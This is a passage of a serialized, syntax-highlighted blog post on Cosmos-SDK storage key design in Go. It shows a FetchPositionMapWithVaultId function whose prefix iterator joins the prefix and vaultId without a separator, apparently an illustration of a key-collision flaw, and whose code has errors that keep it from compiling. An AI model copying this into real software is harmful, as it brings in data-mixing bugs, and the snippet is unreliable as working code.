,{"type":26,"tag":475,"props":87529,"children":87530},{"style":505},[87531],{"type":32,"value":84387},{"type":26,"tag":475,"props":87533,"children":87534},{"style":499},[87535],{"type":32,"value":2425},{"type":26,"tag":475,"props":87537,"children":87538},{"class":477,"line":1857},[87539,87543,87547,87551,87555,87559,87563,87567],{"type":26,"tag":475,"props":87540,"children":87541},{"style":2375},[87542],{"type":32,"value":86093},{"type":26,"tag":475,"props":87544,"children":87545},{"style":499},[87546],{"type":32,"value":353},{"type":26,"tag":475,"props":87548,"children":87549},{"style":493},[87550],{"type":32,"value":85223},{"type":26,"tag":475,"props":87552,"children":87553},{"style":499},[87554],{"type":32,"value":626},{"type":26,"tag":475,"props":87556,"children":87557},{"style":493},[87558],{"type":32,"value":8849},{"type":26,"tag":475,"props":87560,"children":87561},{"style":499},[87562],{"type":32,"value":626},{"type":26,"tag":475,"props":87564,"children":87565},{"style":2375},[87566],{"type":32,"value":85093},{"type":26,"tag":475,"props":87568,"children":87569},{"style":499},[87570],{"type":32,"value":85244},{"type":26,"tag":475,"props":87572,"children":87573},{"class":477,"line":1866},[87574],{"type":26,"tag":475,"props":87575,"children":87576},{"style":499},[87577],{"type":32,"value":23620},{"type":26,"tag":475,"props":87579,"children":87580},{"class":477,"line":1875},[87581,87585,87589,87593,87597,87601,87605,87609],{"type":26,"tag":475,"props":87582,"children":87583},{"style":2375},[87584],{"type":32,"value":85214},{"type":26,"tag":475,"props":87586,"children":87587},{"style":499},[87588],{"type":32,"value":353},{"type":26,"tag":475,"props":87590,"children":87591},{"style":493},[87592],{"type":32,"value":85268},{"type":26,"tag":475,"props":87594,"children":87595},{"style":499},[87596],{"type":32,"value":626},{"type":26,"tag":475,"props":87598,"children":87599},{"style":2375},[87600],{"type":32,"value":85177},{"type":26,"tag":475,"props":87602,"children":87603},{"style":499},[87604],{"type":32,"value":637},{"type":26,"tag":475,"props":87606,"children":87607},{"style":2375},[87608],{"type":32,"value":85093},{"type":26,"tag":475,"props":87610,"children":87611},{"style":499},[87612],{"type":32,"value":647},{"type":26,"tag":475,"props":87614,"children":87615},{"class":477,"line":1883},[87616],{"type":26,"tag":475,"props":87617,"children":87618},{"emptyLinePlaceholder":18},[87619],{"type":32,"value":545},{"type":26,"tag":475,"props":87621,"children":87622},{"class":477,"line":1892},[87623,87627,87631,87635],{"type":26,"tag":475,"props":87624,"children":87625},{"style":2375},[87626],{"type":32,"value":86620},{"type":26,"tag":475,"props":87628,"children":87629},{"style":714},[87630],{"type":32,"value":76045},{"type":26,"tag":475,"props":87632,"children":87633},{"style":493},[87634],{"type":32,"value":85186},{"type":26,"tag":475,"props":87636,"children":87637},{"style":499},[87638],{"type":32,"value":3169},{"type":26,"tag":475,"props":87640,"children":87641},{"class":477,"line":1901},[87642,87646,87650],{"type":26,"tag":475,"props":87643,"children":87644},{"style":499},[87645],{"type":32,"value":86077},{"type":26,"tag":475,"props":87647,"children":87648},{"style":505},[87649],{"type":32,"value":84387},{"type":26,"tag":475,"props":87651,"children":87652},{"style":499},[87653],{"type":32,"value":2425},{"type":26,"tag":475,"props":87655,"children":87656},{"class":477,"line":1910},[87657,87661,87665,87669,87673,87677,87681,87685],{"type":26,"tag":475,"props":87658,"children":87659},{"style":2375},[87660],{"type":32,"value":86093},{"type":26,"tag":475,"props":87662,"children":87663},{"style":499},[87664],{"type":32,"value":353},{"type":26,"tag":475,"props":87666,"children":87667},{"style":493},[87668],{"type":32,"value":85223},{"type":26,"tag":475,"props":87670,"children":87671},{"style":499},[87672],{"type":32,"value":626},{"type":26,"tag":475,"props":87674,"children":87675},{"style":493},[87676],{"type":32,"value":8849},{"type":26,"tag":475,"props":87678,"children":87679},{"style":499},[87680],{"type":32,"value":626},{"type":26,"tag":475,"props":87682,"children":87683},{"style":2375},[87684],{"type":32,"value":86463},{"type":26,"tag":475,"props":87686,"children":87687},{"style":499},[87688],{"type":32,"value":85244},{"type":26,"tag":475,"props":87690,"children":87691},{"class":477,"line":1919},[87692],{"type":26,"tag":475,"props":87693,"children":87694},{"style":499},[87695],{"type":32,"value":23620},{"type":26,"tag":475,"props":87697,"children":87698},{"class":477,"line":1927},[87699,87703,87707,87711,87715,87719,87723,87727],{"type":26,"tag":475,"props":87700,"children":87701},{"style":2375},[87702],{"type":32,"value":85214},{"type":26,"tag":475,"props":87704,"children":87705},{"style":499},[87706],{"type":32,"value":353},{"type":26,"tag":475,"props":87708,"children":87709},{"style":493},[87710],{"type":32,"value":85268},{"type":26,"tag":475,"props":87712,"children":87713},{"style":499},[87714],{"type":32,"value":626},{"type":26,"tag":475,"props":87716,"children":87717},{"style":2375},[87718],{"type":32,"value":86713},{"type":26,"tag":475,"props":87720,"children":87721},{"style":499},[87722],{"type":32,"value":637},{"type":26,"tag":475,"props":87724,"children":87725},{"style":2375},[87726],{"type":32,"value":86463},{"type":26,"tag":475,"props":87728,"children":87729},{"style":499},[87730],{"type":32,"value":647},{"type":26,"tag":475,"props":87732,"children":87733},{"class":477,"line":1936},[87734],{"type":26,"tag":475,"props":87735,"children":87736},{"emptyLinePlaceholder":18},[87737],{"type":32,"value":545},{"type":26,"tag":475,"props":87739,"children":87740},{"class":477,"line":1945},[87741,87745,87749,87753,87757,87761],{"type":26,"tag":475,"props":87742,"children":87743},{"style":2375},[87744],{"type":32,"value":86297},{"type":26,"tag":475,"props":87746,"children":87747},{"style":714},[87748],{"type":32,"value":76045},{"type":26,"tag":475,"props":87750,"children":87751},{"style":2375},[87752],{"type":32,"value":81856},{"type":26,"tag":475,"props":87754,"children":87755},{"style":499},[87756],{"type":32,"value":353},{"type":26,"tag":475,"props":87758,"children":87759},{"style":493},[87760],{"type":32,"value":84845},{"type":26,"tag":475,"props":87762,"children":87763},{"style":499},[87764],{"type":32,"value":3169},{"type":26,"tag":475,"props":87766,"children":87767},{"class":477,"line":1967},[87768,87772],{"type":26,"tag":475,"props":87769,"children":87770},{"style":629},[87771],{"type":32,"value":87322},{"type":26,"tag":475,"props":87773,"children":87774},{"style":499},[87775],{"type":32,"value":2425},{"type":26,"tag":475,"props":87777,"children":87778},{"class":477,"line":1976},[87779,87784],{"type":26,"tag":475,"props":87780,"children":87781},{"style":2375},[87782],{"type":32,"value":87783}," AddressMapPrefix",{"type":26,"tag":475,"props":87785,"children":87786},{"style":499},[87787],{"type":32,"value":2425},{"type":26,"tag":475,"props":87789,"children":87790},{"class":477,"line":1984},[87791,87795],{"type":26,"tag":475,"props":87792,"children":87793},{"style":2375},[87794],{"type":32,"value":86337},{"type":26,"tag":475,"props":87796,"children":87797},{"style":499},[87798],{"type":32,"value":2425},{"type":26,"tag":475,"props":87800,"children":87801},{"class":477,"line":1992},[87802,87806],{"type":26,"tag":475,"props":87803,"children":87804},{"style":2375},[87805],{"type":32,"value":86349},{"type":26,"tag":475,"props":87807,"children":87808},{"style":499},[87809],{"type":32,"value":2425},{"type":26,"tag":475,"props":87811,"children":87812},{"class":477,"line":2004},[87813,87817],{"type":26,"tag":475,"props":87814,"children":87815},{"style":2375},[87816],{"type":32,"value":86361},{"type":26,"tag":475,"props":87818,"children":87819},{"style":499},[87820],{"type":32,"value":2425},{"type":26,"tag":475,"props":87822,"children":87823},{"class":477,"line":2029},[87824,87828],{"type":26,"tag":475,"props":87825,"children":87826},{"style":2375},[87827],{"type":32,"value":86349},{"type":26,"tag":475,"props":87829,"children":87830},{"style":499},[87831],{"type":32,"value":2425},{"type":26,"tag":475,"props":87833,"children":87834},{"class":477,"line":2042},[87835,87839],{"type":26,"tag":475,"props":87836,"children":87837},{"style":2375},[87838],{"type":32,"value":86822},{"type":26,"tag":475,"props":87840,"children":87841},{"style":499},[87842],{"type":32,"value":2425},{"type":26,"tag":475,"props":87844,"children":87845},{"class":477,"line":2060},[87846],{"type":26,"tag":475,"props":87847,"children":87848},{"style":499},[87849],{"type":32,"value":23620},{"type":26,"tag":475,"props":87851,"children":87852},{"class":477,"line":2068},[87853],{"type":26,"tag":475,"props":87854,"children":87855},{"style":499},[87856],{"type":32,"value":3607},{"type":26,"tag":35,"props":87858,"children":87859},{},[87860],{"type":32,"value":87861},"We now have a proper example of how to serialize storage keys.",{"type":26,"tag":35,"props":87863,"children":87864},{},[87865,87867,87872],{"type":32,"value":87866},"Nonetheless, there is more to storage than just this. As previously mentioned, storages are expected to support their original functionalities. In the case of ",{"type":26,"tag":53,"props":87868,"children":87870},{"className":87869},[],[87871],{"type":32,"value":66795},{"type":32,"value":87873},", data should still be retrievable through original keys.",{"type":26,"tag":35,"props":87875,"children":87876},{},[87877,87879,87885,87887,87892],{"type":32,"value":87878},"Let's look at a case where we want to retrieve all ",{"type":26,"tag":53,"props":87880,"children":87882},{"className":87881},[],[87883],{"type":32,"value":87884},"map[Username]map[PositionName]Position",{"type":32,"value":87886}," associated with a ",{"type":26,"tag":53,"props":87888,"children":87890},{"className":87889},[],[87891],{"type":32,"value":84757},{"type":32,"value":87893}," from the storage. How can we safely accomplish this?",{"type":26,"tag":35,"props":87895,"children":87896},{},[87897,87899,87904,87906,87912],{"type":32,"value":87898},"Fortunately, the Cosmos-SDK provides APIs to fetch all entries associated with a ",{"type":26,"tag":53,"props":87900,"children":87902},{"className":87901},[],[87903],{"type":32,"value":84828},{"type":32,"value":87905}," prefix. Below is an example of an attempt to fetch data with ",{"type":26,"tag":53,"props":87907,"children":87909},{"className":87908},[],[87910],{"type":32,"value":87911},"vaultId",{"type":32,"value":179},{"type":26,"tag":465,"props":87914,"children":87916},{"code":87915,"language":75793,"meta":7,"className":75794,"style":7},"func FetchPositionMapWithVaultId(\n vaultId uint64,\n) ([]map[Username]map[PositionName]Position) {\n values := map[Username]map[PositionName]Position{}\n i := sdk.KVStorePrefixIterator(\n kvStore,\n fmt.Sprintf(\"%s%d\", PositionMapPrefix, vaultId)\n )\n for ; i.Valid(); i.Next() {\n k := strings.split(i.Key(), Seperator)\n\n username := make([]byte, hex.DecodedLen(k[0]))\n _, err := hex.Decode(username, k[0])\n if err != nil {\n return nil, err\n }\n\n positionName := make([]byte, hex.DecodedLen(k[1]))\n _, err := hex.Decode(positionName, k[1])\n if err != nil {\n return nil, err\n }\n\n if entry, ok := values[username]; !ok {\n values[username] = make(map[PositionName])\n }\n\n values[username][positionName] = Position {\n data: iterator.Value(),\n }\n }\n return values\n}\n",[87917],{"type":26,"tag":53,"props":87918,"children":87919},{"__ignoreMap":7},[87920,87936,87951,88000,88052,88081,88093,88139,88146,88192,88247,88254,88318,88379,88402,88421,88428,88435,88495,88554,88577,88596,88603,88610,88663,88711,88718,88725,88765,88794,88801,88808,88820],{"type":26,"tag":475,"props":87921,"children":87922},{"class":477,"line":478},[87923,87927,87932],{"type":26,"tag":475,"props":87924,"children":87925},{"style":482},[87926],{"type":32,"value":75929},{"type":26,"tag":475,"props":87928,"children":87929},{"style":493},[87930],{"type":32,"value":87931}," FetchPositionMapWithVaultId",{"type":26,"tag":475,"props":87933,"children":87934},{"style":499},[87935],{"type":32,"value":3169},{"type":26,"tag":475,"props":87937,"children":87938},{"class":477,"line":516},[87939,87943,87947],{"type":26,"tag":475,"props":87940,"children":87941},{"style":2375},[87942],{"type":32,"value":84869},{"type":26,"tag":475,"props":87944,"children":87945},{"style":505},[87946],{"type":32,"value":76050},{"type":26,"tag":475,"props":87948,"children":87949},{"style":499},[87950],{"type":32,"value":2425},{"type":26,"tag":475,"props":87952,"children":87953},{"class":477,"line":539},[87954,87959,87963,87967,87971,87975,87979,87983,87987,87991,87996],{"type":26,"tag":475,"props":87955,"children":87956},{"style":499},[87957],{"type":32,"value":87958},") ([]",{"type":26,"tag":475,"props":87960,"children":87961},{"style":482},[87962],{"type":32,"value":66795},{"type":26,"tag":475,"props":87964,"children":87965},{"style":499},[87966],{"type":32,"value":3440},{"type":26,"tag":475,"props":87968,"children":87969},{"style":505},[87970],{"type":32,"value":84774},{"type":26,"tag":475,"props":87972,"children":87973},{"style":499},[87974],{"type":32,"value":15117},{"type":26,"tag":475,"props":87976,"children":87977},{"style":482},[87978],{"type":32,"value":66795},{"type":26,"tag":475,"props":87980,"children":87981},{"style":499},[87982],{"type":32,"value":3440},{"type":26,"tag":475,"props":87984,"children":87985},{"style":505},[87986],{"type":32,"value":84791},{"type":26,"tag":475,"props":87988,"children":87989},{"style":499},[87990],{"type":32,"value":15117},{"type":26,"tag":475,"props":87992,"children":87993},{"style":505},[87994],{"type":32,"value":87995},"Position",{"type":26,"tag":475,"props":87997,"children":87998},{"style":499},[87999],{"type":32,"value":676},{"type":26,"tag":475,"props":88001,"children":88002},{"class":477,"line":548},[88003,88008,88012,88016,88020,88024,88028,88032,88036,88040,88044,88048],{"type":26,"tag":475,"props":88004,"children":88005},{"style":2375},[88006],{"type":32,"value":88007}," values",{"type":26,"tag":475,"props":88009,"children":88010},{"style":714},[88011],{"type":32,"value":76045},{"type":26,"tag":475,"props":88013,"children":88014},{"style":482},[88015],{"type":32,"value":49361},{"type":26,"tag":475,"props":88017,"children":88018},{"style":499},[88019],{"type":32,"value":3440},{"type":26,"tag":475,"props":88021,"children":88022},{"style":505},[88023],{"type":32,"value":84774},{"type":26,"tag":475,"props":88025,"children":88026},{"style":499},[88027],{"type":32,"value":15117},{"type":26,"tag":475,"props":88029,"children":88030},{"style":482},[88031],{"type":32,"value":66795},{"type":26,"tag":475,"props":88033,"children":88034},{"style":499},[88035],{"type":32,"value":3440},{"type":26,"tag":475,"props":88037,"children":88038},{"style":505},[88039],{"type":32,"value":84791},{"type":26,"tag":475,"props":88041,"children":88042},{"style":499},[88043],{"type":32,"value":15117},{"type":26,"tag":475,"props":88045,"children":88046},{"style":505},[88047],{"type":32,"value":87995},{"type":26,"tag":475,"props":88049,"children":88050},{"style":499},[88051],{"type":32,"value":77726},{"type":26,"tag":475,"props":88053,"children":88054},{"class":477,"line":558},[88055,88060,88064,88068,88072,88077],{"type":26,"tag":475,"props":88056,"children":88057},{"style":2375},[88058],{"type":32,"value":88059}," i",{"type":26,"tag":475,"props":88061,"children":88062},{"style":714},[88063],{"type":32,"value":76045},{"type":26,"tag":475,"props":88065,"children":88066},{"style":2375},[88067],{"type":32,"value":78270},{"type":26,"tag":475,"props":88069,"children":88070},{"style":499},[88071],{"type":32,"value":353},{"type":26,"tag":475,"props":88073,"children":88074},{"style":493},[88075],{"type":32,"value":88076},"KVStorePrefixIterator",{"type":26,"tag":475,"props":88078,"children":88079},{"style":499},[88080],{"type":32,"value":3169},{"type":26,"tag":475,"props":88082,"children":88083},{"class":477,"line":582},[88084,88089],{"type":26,"tag":475,"props":88085,"children":88086},{"style":2375},[88087],{"type":32,"value":88088}," kvStore",{"type":26,"tag":475,"props":88090,"children":88091},{"style":499},[88092],{"type":32,"value":2425},{"type":26,"tag":475,"props":88094,"children":88095},{"class":477,"line":596},[88096,88101,88105,88109,88113,88118,88122,88127,88131,88135],{"type":26,"tag":475,"props":88097,"children":88098},{"style":2375},[88099],{"type":32,"value":88100}," fmt",{"type":26,"tag":475,"props":88102,"children":88103},{"style":499},[88104],{"type":32,"value":353},{"type":26,"tag":475,"props":88106,"children":88107},{"style":493},[88108],{"type":32,"value":84845},{"type":26,"tag":475,"props":88110,"children":88111},{"style":499},[88112],{"type":32,"value":626},{"type":26,"tag":475,"props":88114,"children":88115},{"style":629},[88116],{"type":32,"value":88117},"\"%s%d\"",{"type":26,"tag":475,"props":88119,"children":88120},{"style":499},[88121],{"type":32,"value":637},{"type":26,"tag":475,"props":88123,"children":88124},{"style":2375},[88125],{"type":32,"value":88126},"PositionMapPrefix",{"type":26,"tag":475,"props":88128,"children":88129},{"style":499},[88130],{"type":32,"value":637},{"type":26,"tag":475,"props":88132,"children":88133},{"style":2375},[88134],{"type":32,"value":87911},{"type":26,"tag":475,"props":88136,"children":88137},{"style":499},[88138],{"type":32,"value":647},{"type":26,"tag":475,"props":88140,"children":88141},{"class":477,"line":610},[88142],{"type":26,"tag":475,"props":88143,"children":88144},{"style":499},[88145],{"type":32,"value":23620},{"type":26,"tag":475,"props":88147,"children":88148},{"class":477,"line":650},[88149,88153,88158,88162,88166,88171,88175,88179,88183,88188],{"type":26,"tag":475,"props":88150,"children":88151},{"style":586},[88152],{"type":32,"value":2737},{"type":26,"tag":475,"props":88154,"children":88155},{"style":499},[88156],{"type":32,"value":88157}," ; ",{"type":26,"tag":475,"props":88159,"children":88160},{"style":2375},[88161],{"type":32,"value":3445},{"type":26,"tag":475,"props":88163,"children":88164},{"style":499},[88165],{"type":32,"value":353},{"type":26,"tag":475,"props":88167,"children":88168},{"style":493},[88169],{"type":32,"value":88170},"Valid",{"type":26,"tag":475,"props":88172,"children":88173},{"style":499},[88174],{"type":32,"value":28150},{"type":26,"tag":475,"props":88176,"children":88177},{"style":2375},[88178],{"type":32,"value":3445},{"type":26,"tag":475,"props":88180,"children":88181},{"style":499},[88182],{"type":32,"value":353},{"type":26,"tag":475,"props":88184,"children":88185},{"style":493},[88186],{"type":32,"value":88187},"Next",{"type":26,"tag":475,"props":88189,"children":88190},{"style":499},[88191],{"type":32,"value":882},{"type":26,"tag":475,"props":88193,"children":88194},{"class":477,"line":679},[88195,88200,88204,88209,88213,88217,88221,88225,88229,88234,88238,88243],{"type":26,"tag":475,"props":88196,"children":88197},{"style":2375},[88198],{"type":32,"value":88199}," k",{"type":26,"tag":475,"props":88201,"children":88202},{"style":714},[88203],{"type":32,"value":76045},{"type":26,"tag":475,"props":88205,"children":88206},{"style":2375},[88207],{"type":32,"value":88208}," strings",{"type":26,"tag":475,"props":88210,"children":88211},{"style":499},[88212],{"type":32,"value":353},{"type":26,"tag":475,"props":88214,"children":88215},{"style":493},[88216],{"type":32,"value":69734},{"type":26,"tag":475,"props":88218,"children":88219},{"style":499},[88220],{"type":32,"value":626},{"type":26,"tag":475,"props":88222,"children":88223},{"style":2375},[88224],{"type":32,"value":3445},{"type":26,"tag":475,"props":88226,"children":88227},{"style":499},[88228],{"type":32,"value":353},{"type":26,"tag":475,"props":88230,"children":88231},{"style":493},[88232],{"type":32,"value":88233},"Key",{"type":26,"tag":475,"props":88235,"children":88236},{"style":499},[88237],{"type":32,"value":18083},{"type":26,"tag":475,"props":88239,"children":88240},{"style":2375},[88241],{"type":32,"value":88242},"Seperator",{"type":26,"tag":475,"props":88244,"children":88245},{"style":499},[88246],{"type":32,"value":647},{"type":26,"tag":475,"props":88248,"children":88249},{"class":477,"line":735},[88250],{"type":26,"tag":475,"props":88251,"children":88252},{"emptyLinePlaceholder":18},[88253],{"type":32,"value":545},{"type":26,"tag":475,"props":88255,"children":88256},{"class":477,"line":744},[88257,88262,88266,88270,88275,88279,88283,88287,88291,88296,88300,88305,88309,88313],{"type":26,"tag":475,"props":88258,"children":88259},{"style":2375},[88260],{"type":32,"value":88261}," username",{"type":26,"tag":475,"props":88263,"children":88264},{"style":714},[88265],{"type":32,"value":76045},{"type":26,"tag":475,"props":88267,"children":88268},{"style":493},[88269],{"type":32,"value":85186},{"type":26,"tag":475,"props":88271,"children":88272},{"style":499},[88273],{"type":32,"value":88274},"([]",{"type":26,"tag":475,"props":88276,"children":88277},{"style":505},[88278],{"type":32,"value":84387},{"type":26,"tag":475,"props":88280,"children":88281},{"style":499},[88282],{"type":32,"value":637},{"type":26,"tag":475,"props":88284,"children":88285},{"style":2375},[88286],{"type":32,"value":85259},{"type":26,"tag":475,"props":88288,"children":88289},{"style":499},[88290],{"type":32,"value":353},{"type":26,"tag":475,"props":88292,"children":88293},{"style":493},[88294],{"type":32,"value":88295},"DecodedLen",{"type":26,"tag":475,"props":88297,"children":88298},{"style":499},[88299],{"type":32,"value":626},{"type":26,"tag":475,"props":88301,"children":88302},{"style":2375},[88303],{"type":32,"value":88304},"k",{"type":26,"tag":475,"props":88306,"children":88307},{"style":499},[88308],{"type":32,"value":3440},{"type":26,"tag":475,"props":88310,"children":88311},{"style":903},[88312],{"type":32,"value":3732},{"type":26,"tag":475,"props":88314,"children":88315},{"style":499},[88316],{"type":32,"value":88317},"]))\n",{"type":26,"tag":475,"props":88319,"children":88320},{"class":477,"line":753},[88321,88325,88329,88333,88337,88342,88346,88351,88355,88359,88363,88367,88371,88375],{"type":26,"tag":475,"props":88322,"children":88323},{"style":2375},[88324],{"type":32,"value":27449},{"type":26,"tag":475,"props":88326,"children":88327},{"style":499},[88328],{"type":32,"value":637},{"type":26,"tag":475,"props":88330,"children":88331},{"style":2375},[88332],{"type":32,"value":48113},{"type":26,"tag":475,"props":88334,"children":88335},{"style":714},[88336],{"type":32,"value":76045},{"type":26,"tag":475,"props":88338,"children":88339},{"style":2375},[88340],{"type":32,"value":88341}," hex",{"type":26,"tag":475,"props":88343,"children":88344},{"style":499},[88345],{"type":32,"value":353},{"type":26,"tag":475,"props":88347,"children":88348},{"style":493},[88349],{"type":32,"value":88350},"Decode",{"type":26,"tag":475,"props":88352,"children":88353},{"style":499},[88354],{"type":32,"value":626},{"type":26,"tag":475,"props":88356,"children":88357},{"style":2375},[88358],{"type":32,"value":85093},{"type":26,"tag":475,"props":88360,"children":88361},{"style":499},[88362],{"type":32,"value":637},{"type":26,"tag":475,"props":88364,"children":88365},{"style":2375},[88366],{"type":32,"value":88304},{"type":26,"tag":475,"props":88368,"children":88369},{"style":499},[88370],{"type":32,"value":3440},{"type":26,"tag":475,"props":88372,"children":88373},{"style":903},[88374],{"type":32,"value":3732},{"type":26,"tag":475,"props":88376,"children":88377},{"style":499},[88378],{"type":32,"value":55132},{"type":26,"tag":475,"props":88380,"children":88381},{"class":477,"line":761},[88382,88386,88390,88394,88398],{"type":26,"tag":475,"props":88383,"children":88384},{"style":586},[88385],{"type":32,"value":2980},{"type":26,"tag":475,"props":88387,"children":88388},{"style":2375},[88389],{"type":32,"value":48214},{"type":26,"tag":475,"props":88391,"children":88392},{"style":714},[88393],{"type":32,"value":64079},{"type":26,"tag":475,"props":88395,"children":88396},{"style":482},[88397],{"type":32,"value":81540},{"type":26,"tag":475,"props":88399,"children":88400},{"style":499},[88401],{"type":32,"value":579},{"type":26,"tag":475,"props":88403,"children":88404},{"class":477,"line":770},[88405,88409,88413,88417],{"type":26,"tag":475,"props":88406,"children":88407},{"style":586},[88408],{"type":32,"value":78705},{"type":26,"tag":475,"props":88410,"children":88411},{"style":482},[88412],{"type":32,"value":81540},{"type":26,"tag":475,"props":88414,"children":88415},{"style":499},[88416],{"type":32,"value":637},{"type":26,"tag":475,"props":88418,"children":88419},{"style":2375},[88420],{"type":32,"value":83261},{"type":26,"tag":475,"props":88422,"children":88423},{"class":477,"line":794},[88424],{"type":26,"tag":475,"props":88425,"children":88426},{"style":499},[88427],{"type":32,"value":750},{"type":26,"tag":475,"props":88429,"children":88430},{"class":477,"line":831},[88431],{"type":26,"tag":475,"props":88432,"children":88433},{"emptyLinePlaceholder":18},[88434],{"type":32,"value":545},{"type":26,"tag":475,"props":88436,"children":88437},{"class":477,"line":845},[88438,88443,88447,88451,88455,88459,88463,88467,88471,88475,88479,88483,88487,88491],{"type":26,"tag":475,"props":88439,"children":88440},{"style":2375},[88441],{"type":32,"value":88442}," positionName",{"type":26,"tag":475,"props":88444,"children":88445},{"style":714},[88446],{"type":32,"value":76045},{"type":26,"tag":475,"props":88448,"children":88449},{"style":493},[88450],{"type":32,"value":85186},{"type":26,"tag":475,"props":88452,"children":88453},{"style":499},[88454],{"type":32,"value":88274},{"type":26,"tag":475,"props":88456,"children":88457},{"style":505},[88458],{"type":32,"value":84387},{"type":26,"tag":475,"props":88460,"children":88461},{"style":499},[88462],{"type":32,"value":637},{"type":26,"tag":475,"props":88464,"children":88465},{"style":2375},[88466],{"type":32,"value":85259},{"type":26,"tag":475,"props":88468,"children":88469},{"style":499},[88470],{"type":32,"value":353},{"type":26,"tag":475,"props":88472,"children":88473},{"style":493},[88474],{"type":32,"value":88295},{"type":26,"tag":475,"props":88476,"children":88477},{"style":499},[88478],{"type":32,"value":626},{"type":26,"tag":475,"props":88480,"children":88481},{"style":2375},[88482],{"type":32,"value":88304},{"type":26,"tag":475,"props":88484,"children":88485},{"style":499},[88486],{"type":32,"value":3440},{"type":26,"tag":475,"props":88488,"children":88489},{"style":903},[88490],{"type":32,"value":3722},{"type":26,"tag":475,"props":88492,"children":88493},{"style":499},[88494],{"type":32,"value":88317},{"type":26,"tag":475,"props":88496,"children":88497},{"class":477,"line":854},[88498,88502,88506,88510,88514,88518,88522,88526,88530,88534,88538,88542,88546,88550],{"type":26,"tag":475,"props":88499,"children":88500},{"style":2375},[88501],{"type":32,"value":27449},{"type":26,"tag":475,"props":88503,"children":88504},{"style":499},[88505],{"type":32,"value":637},{"type":26,"tag":475,"props":88507,"children":88508},{"style":2375},[88509],{"type":32,"value":48113},{"type":26,"tag":475,"props":88511,"children":88512},{"style":714},[88513],{"type":32,"value":76045},{"type":26,"tag":475,"props":88515,"children":88516},{"style":2375},[88517],{"type":32,"value":88341},{"type":26,"tag":475,"props":88519,"children":88520},{"style":499},[88521],{"type":32,"value":353},{"type":26,"tag":475,"props":88523,"children":88524},{"style":493},[88525],{"type":32,"value":88350},{"type":26,"tag":475,"props":88527,"children":88528},{"style":499},[88529],{"type":32,"value":626},{"type":26,"tag":475,"props":88531,"children":88532},{"style":2375},[88533],{"type":32,"value":85362},{"type":26,"tag":475,"props":88535,"children":88536},{"style":499},[88537],{"type":32,"value":637},{"type":26,"tag":475,"props":88539,"children":88540},{"style":2375},[88541],{"type":32,"value":88304},{"type":26,"tag":475,"props":88543,"children":88544},{"style":499},[88545],{"type":32,"value":3440},{"type":26,"tag":475,"props":88547,"children":88548},{"style":903},[88549],{"type":32,"value":3722},{"type":26,"tag":475,"props":88551,"children":88552},{"style":499},[88553],{"type":32,"value":55132},{"type":26,"tag":475,"props":88555,"children":88556},{"class":477,"line":862},[88557,88561,88565,88569,88573],{"type":26,"tag":475,"props":88558,"children":88559},{"style":586},[88560],{"type":32,"value":2980},{"type":26,"tag":475,"props":88562,"children":88563},{"style":2375},[88564],{"type":32,"value":48214},{"type":26,"tag":475,"props":88566,"children":88567},{"style":714},[88568],{"type":32,"value":64079},{"type":26,"tag":475,"props":88570,"children":88571},{"style":482},[88572],{"type":32,"value":81540},{"type":26,"tag":475,"props":88574,"children":88575},{"style":499},[88576],{"type":32,"value":579},{"type":26,"tag":475,"props":88578,"children":88579},{"class":477,"line":885},[88580,88584,88588,88592],{"type":26,"tag":475,"props":88581,"children":88582},{"style":586},[88583],{"type":32,"value":78705},{"type":26,"tag":475,"props":88585,"children":88586},{"style":482},[88587],{"type":32,"value":81540},{"type":26,"tag":475,"props":88589,"children":88590},{"style":499},[88591],{"type":32,"value":637},{"type":26,"tag":475,"props":88593,"children":88594},{"style":2375},[88595],{"type":32,"value":83261},{"type":26,"tag":475,"props":88597,"children":88598},{"class":477,"line":913},[88599],{"type":26,"tag":475,"props":88600,"children":88601},{"style":499},[88602],{"type":32,"value":750},{"type":26,"tag":475,"props":88604,"children":88605},{"class":477,"line":926},[88606],{"type":26,"tag":475,"props":88607,"children":88608},{"emptyLinePlaceholder":18},[88609],{"type":32,"value":545},{"type":26,"tag":475,"props":88611,"children":88612},{"class":477,"line":948},[88613,88617,88621,88625,88629,88633,88638,88642,88646,88651,88655,88659],{"type":26,"tag":475,"props":88614,"children":88615},{"style":586},[88616],{"type":32,"value":2980},{"type":26,"tag":475,"props":88618,"children":88619},{"style":2375},[88620],{"type":32,"value":62334},{"type":26,"tag":475,"props":88622,"children":88623},{"style":499},[88624],{"type":32,"value":637},{"type":26,"tag":475,"props":88626,"children":88627},{"style":2375},[88628],{"type":32,"value":78396},{"type":26,"tag":475,"props":88630,"children":88631},{"style":714},[88632],{"type":32,"value":76045},{"type":26,"tag":475,"props":88634,"children":88635},{"style":2375},[88636],{"type":32,"value":88637}," values",{"type":26,"tag":475,"props":88639,"children":88640},{"style":499},[88641],{"type":32,"value":3440},{"type":26,"tag":475,"props":88643,"children":88644},{"style":2375},[88645],{"type":32,"value":85093},{"type":26,"tag":475,"props":88647,"children":88648},{"style":499},[88649],{"type":32,"value":88650},"]; ",{"type":26,"tag":475,"props":88652,"children":88653},{"style":714},[88654],{"type":32,"value":20329},{"type":26,"tag":475,"props":88656,"children":88657},{"style":2375},[88658],{"type":32,"value":78396},{"type":26,"tag":475,"props":88660,"children":88661},{"style":499},[88662],{"type":32,"value":579},{"type":26,"tag":475,"props":88664,"children":88665},{"class":477,"line":966},[88666,88671,88675,88679,88683,88687,88691,88695,88699,88703,88707],{"type":26,"tag":475,"props":88667,"children":88668},{"style":2375},[88669],{"type":32,"value":88670}," values",{"type":26,"tag":475,"props":88672,"children":88673},{"style":499},[88674],{"type":32,"value":3440},{"type":26,"tag":475,"props":88676,"children":88677},{"style":2375},[88678],{"type":32,"value":85093},{"type":26,"tag":475,"props":88680,"children":88681},{"style":499},[88682],{"type":32,"value":1699},{"type":26,"tag":475,"props":88684,"children":88685},{"style":714},[88686],{"type":32,"value":786},{"type":26,"tag":475,"props":88688,"children":88689},{"style":493},[88690],{"type":32,"value":85186},{"type":26,"tag":475,"props":88692,"children":88693},{"style":499},[88694],{"type":32,"value":626},{"type":26,"tag":475,"props":88696,"children":88697},{"style":482},[88698],{"type":32,"value":66795},{"type":26,"tag":475,"props":88700,"children":88701},{"style":499},[88702],{"type":32,"value":3440},{"type":26,"tag":475,"props":88704,"children":88705},{"style":505},[88706],{"type":32,"value":84791},{"type":26,"tag":475,"props":88708,"children":88709},{"style":499},[88710],{"type":32,"value":55132},{"type":26,"tag":475,"props":88712,"children":88713},{"class":477,"line":979},[88714],{"type":26,"tag":475,"props":88715,"children":88716},{"style":499},[88717],{"type":32,"value":750},{"type":26,"tag":475,"props":88719,"children":88720},{"class":477,"line":1006},[88721],{"type":26,"tag":475,"props":88722,"children":88723